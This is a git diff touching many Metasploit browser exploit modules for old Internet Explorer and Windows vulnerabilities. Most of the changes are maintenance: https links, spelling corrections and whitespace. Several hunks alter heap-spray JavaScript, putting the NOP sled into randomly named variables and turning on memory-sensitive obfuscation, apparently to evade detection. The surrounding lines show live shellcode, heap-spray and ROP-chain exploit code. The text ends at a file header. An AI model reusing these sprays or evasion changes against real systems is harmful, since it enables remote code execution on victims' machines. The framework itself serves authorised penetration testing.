diff --git a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb
index f24bb3aa60..7665640539 100644
--- a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb
+++ b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,13 +75,15 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|
     <html>
       <object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
       <script language="JavaScript">
       var #{rand1} = unescape('#{shellcode}');
-      var #{rand2} = unescape('#{nops}');
+      var #{randnop} = "#{nops}";
+      var #{rand2} = unescape(#{randnop});
       var #{rand3} = 20;
       var #{rand4} = #{rand3} + #{rand1}.length;
       while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -107,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb
index d7f3a33f9e..7c0e9dc7fa 100644
--- a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb
+++ b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,6 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
     rand9  = rand_text_alpha(rand(100) + 1)
     rand10  = rand_text_alpha(rand(100) + 1)
     rand11  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|
 <html>
@@ -91,7 +92,8 @@ class MetasploitModule < Msf::Exploit::Remote
   for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
   var #{rand4} = unescape("#{shellcode}");
   var #{rand5} = (#{rand4}.length * 2);
-  var #{rand6} = unescape("#{nops}");
+  var #{randnop} = "#{nops}";
+  var #{rand6} = unescape(#{randnop});
   var #{rand7} = 0x0c0c0c0c;
   var #{rand8} = 0x100000;
   var #{rand9} = #{rand8} - (#{rand5} + 1);
@@ -115,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb
index ca2eb514a8..1887ccae23 100644
--- a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb
+++ b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
index e8c7a9d09c..d0187887fe 100644
--- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
+++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb
index 3834344361..b08c0668c1 100644
--- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb
+++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -146,7 +146,7 @@ history.go(0);
       }
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
 #<body onload="history.go(0); #{fnname}()">
 
     # Build the final HTML
diff --git a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb
index d8105c633f..65e32a355d 100644
--- a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb
+++ b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -129,5 +128,4 @@ for(xj=0; xj<10; xj++){
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb
index e7149edb93..a6a3136f96 100644
--- a/modules/exploits/windows/browser/ms09_072_style_object.rb
+++ b/modules/exploits/windows/browser/ms09_072_style_object.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb
index 47cb38f233..bc9147260c 100644
--- a/modules/exploits/windows/browser/ms10_002_aurora.rb
+++ b/modules/exploits/windows/browser/ms10_002_aurora.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb
index 5ad74a175b..2966c17471 100644
--- a/modules/exploits/windows/browser/ms10_002_ie_object.rb
+++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -118,6 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
     p = get_payload(my_target)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # The exploit will try to take up the freed memory
     # with a fake item before the reuse
@@ -196,7 +197,8 @@ function Start() {
 
   var code = unescape("#{js_code}");
   var memory_layout = unescape("#{memory_layout_js}")
-  var nops = unescape("#{js_nops}");
+  var #{randnop} = "#{js_nops}";
+  var nops = unescape(#{randnop});
   while (nops.length < 0x80000) nops += nops;
   var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
   var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
@@ -250,7 +252,6 @@ function Start() {
 
     return rop_payload
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
index 896b438643..9908cfbf81 100644
--- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
+++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -176,7 +176,7 @@ function heapspray(){
   }
 }
     |
-    heapspray.obfuscate
+    heapspray.obfuscate(memory_sensitive: true)
 
     # Construct the final page
     case mytarget['Method']
@@ -235,5 +235,4 @@ document.location="about:\\u0c0c\\u0c0c\\u0c0c\\u0c0cblank";
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
index e2f98ca51d..da2483098f 100644
--- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
+++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_s
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
index ee5dd88a2f..6a1c791976 100644
--- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
+++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a code execution vulnerability that occurs when a user
         presses F1 on MessageBox originated from VBscript within a web page. When the
-        user hits F1, the MessageBox help functionaility will attempt to load and use
+        user hits F1, the MessageBox help functionality will attempt to load and use
         a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.
 
         This particular version of the exploit implements a WebDAV server that will
@@ -317,5 +317,4 @@ MsgBox "Welcome!  Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1
 
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb
index 209ba913ee..3ec12c8e73 100644
--- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb
+++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
       'Description'    => %q{
-          This module exploits a buffer overlow in l3codecx.ax while processing a
+          This module exploits a buffer overflow in l3codecx.ax while processing a
         AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
         with 0's so the three least significant bytes of EIP saved on stack are
         overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
           ['OSVDB', '63749'],
           ['BID', '39303'],
           ['MSB', 'MS10-026'],
-          ['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
+          ['URL', 'https://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
           ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
         ],
       'Payload'        =>
@@ -215,5 +215,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending #{self.name}")
     send_response_html(cli, html)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb
index 8306ab6e04..576871dc37 100644
--- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb
+++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
index 217469f68e..09b5bf8f45 100644
--- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
+++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
index 206807fc93..913d388581 100644
--- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
+++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,12 +22,12 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption',
       'Description'    => %q{
-          Thie module exploits a memory corruption vulnerability within Microsoft's
+          This module exploits a memory corruption vulnerability within Microsoft's
         HTML engine (mshtml). When parsing an HTML page containing a specially
         crafted CSS tag, memory corruption occurs that can lead arbitrary code
         execution.
 
-        It seems like Microsoft code inadvertantly increments a vtable pointer to
+        It seems like Microsoft code inadvertently increments a vtable pointer to
         point to an unaligned address within the vtable's function pointers. This
         leads to the program counter being set to the address determined by the
         address "[vtable+0x30+1]". The particular address depends on the exact
@@ -187,7 +187,7 @@ EOS
       }
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
-    #js.obfuscate()
+    #js.obfuscate(memory_sensitive: true)
 
     # Construct the final page
     html = <<-EOS
@@ -207,5 +207,4 @@ EOS
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
index 42940dc975..ecb0893f68 100644
--- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
+++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -439,5 +439,4 @@ EOS
     fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
     rvas['BaseAddress'] + rvas[key]
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
index bd02182d46..4139e9d4ef 100644
--- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
+++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -189,6 +189,9 @@ class MetasploitModule < Msf::Exploit::Remote
     code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
     vtable_js = Rex::Text.to_unescape(vtable, Rex::Arch.endian(target.arch))
 
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+
     #Extract string based on what the setup is
     if mytarget.name == 'Internet Explorer 8 on XP SP3'
       js_extract_str = "var block = shellcode.substring(2, 0x20000-0x21);"
@@ -214,7 +217,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
     function heap_spray(heaplib_obj, offset) {
       var code = unescape("#{code_js}");
-      var nops = unescape("%u0c0c%u0c0c");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
 
       while (nops.length < 0x1000) nops += nops;
       offset = nops.substring(0, #{mytarget['Offset']});
@@ -249,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = <<-HTML
diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb
index 2cdceda777..5ee4324d84 100644
--- a/modules/exploits/windows/browser/ms11_081_option.rb
+++ b/modules/exploits/windows/browser/ms11_081_option.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,11 +94,14 @@ class MetasploitModule < Msf::Exploit::Remote
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
 
+    randnop = rand_text_alpha(rand(100) + 1)
+
     js = %Q|
     function heap_spray() {
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -115,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
       @heap_spray_func = js.sym("heap_spray")
     end
 
diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb
index 781ba57f55..7942c168aa 100644
--- a/modules/exploits/windows/browser/ms11_093_ole32.rb
+++ b/modules/exploits/windows/browser/ms11_093_ole32.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -118,11 +118,13 @@ class MetasploitModule < Msf::Exploit::Remote
 
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js_pivot = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -141,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
-      js_pivot.obfuscate
+      js_pivot.obfuscate(memory_sensitive: true)
     end
 
     vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
@@ -176,6 +178,5 @@ class MetasploitModule < Msf::Exploit::Remote
     fd.close
     return vsd
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb
index 97e51acb4f..2ea585ccbe 100644
--- a/modules/exploits/windows/browser/ms12_004_midi.rb
+++ b/modules/exploits/windows/browser/ms12_004_midi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -270,9 +270,9 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     if datastore['OBFUSCATE']
-      spray   = ::Rex::Exploitation::JSObfu.new(spray).obfuscate
+      spray   = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)
       trigger = ::Rex::Exploitation::JSObfu.new(trigger)
-      trigger.obfuscate
+      trigger.obfuscate(memory_sensitive: true)
       trigger_fn = trigger.sym('trigger')
     else
       trigger_fn = 'trigger'
@@ -336,6 +336,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
     shellcode = Rex::Text.to_unescape(code)
 
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
+
     # 1. Create  big block of nops
     # 2. Compose one block which is nops + shellcode
     # 3. Repeat the block
@@ -345,7 +348,8 @@ class MetasploitModule < Msf::Exploit::Remote
     var heap_obj = new heapLib.ie(0x10000);
 
     var code = unescape("#{shellcode}");
-    var nops = unescape("%u0c0c%u0c0c");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x1000) nops+= nops;
     var shellcode =  nops.substring(0,0x800 - code.length) + code;
diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
index 1940b5965c..62e2c4323f 100644
--- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
+++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -246,7 +246,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js)
-      spray_trigger_js.obfuscate
+      spray_trigger_js.obfuscate(memory_sensitive: true)
     end
 
     # build html
@@ -267,5 +267,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Transmit the response to the client
     send_response_html(cli, content)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb
index 0fe2e63e21..90e37e7ebe 100644
--- a/modules/exploits/windows/browser/ms12_037_same_id.rb
+++ b/modules/exploits/windows/browser/ms12_037_same_id.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -158,13 +158,15 @@ class MetasploitModule < Msf::Exploit::Remote
     js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
     js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js_spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
     var rop_chain = unescape("#{js_rop}");
     var random = unescape("#{js_padding}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (random.length < 0x80000) random += random;
     while (nops.length < 0x80000) nops += nops;
@@ -193,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
-      js_spray.obfuscate
+      js_spray.obfuscate(memory_sensitive: true)
 
       trigger_f = rand_text_alpha(rand(5) + 4)
       feng_shui_f = rand_text_alpha(rand(5) + 4)
@@ -266,7 +268,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending html")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb
index d224d9bb21..47101bfd9e 100644
--- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb
+++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,12 +84,14 @@ class MetasploitModule < Msf::Exploit::Remote
   def heap_spray(my_target, p)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = %Q|
 
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -105,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
 
     end
 
@@ -195,6 +197,5 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb
index 76fd27b45c..ae08430bfd 100644
--- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb
+++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -136,6 +136,5 @@ EOF
       send_exploit_html(cli, exploit_template(cli, target_info))
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
index 933bb6a285..004fe42cbd 100644
--- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
+++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,13 +102,15 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie_heap_spray(my_target, p)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     # For IE 8
     js = %Q|
 var heap_obj = new heapLib.ie(0x20000);
 var code = unescape("#{js_code}");
-var nops = unescape("#{js_nops}");
+var #{randnop} = "#{js_nops}";
+var nops = unescape(#{randnop});
 while (nops.length < 0x80000) nops += nops;
 var offset = nops.substring(0, #{my_target['Offset']});
 var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -124,7 +126,7 @@ for (var i=1; i < 0x300; i++) {
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -243,7 +245,7 @@ function exploit(){
 
     if datastore['OBFUSCATE']
       js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
-      js_trigger.obfuscate
+      js_trigger.obfuscate(memory_sensitive: true)
       create_rects_func = js_trigger.sym("createRects")
       exploit_func = js_trigger.sym("exploit")
     end
@@ -330,7 +332,7 @@ function exploit(){
 
     if datastore['OBFUSCATE']
       js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
-      js_trigger.obfuscate
+      js_trigger.obfuscate(memory_sensitive: true)
       create_rects_func = js_trigger.sym("createRects")
       exploit_func = js_trigger.sym("exploit")
     end
@@ -425,5 +427,4 @@ function exploit(){
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb
index 0ceb825484..5e9382d036 100644
--- a/modules/exploits/windows/browser/ms13_055_canchor.rb
+++ b/modules/exploits/windows/browser/ms13_055_canchor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
index b35d790498..54a7301e81 100644
--- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
+++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb
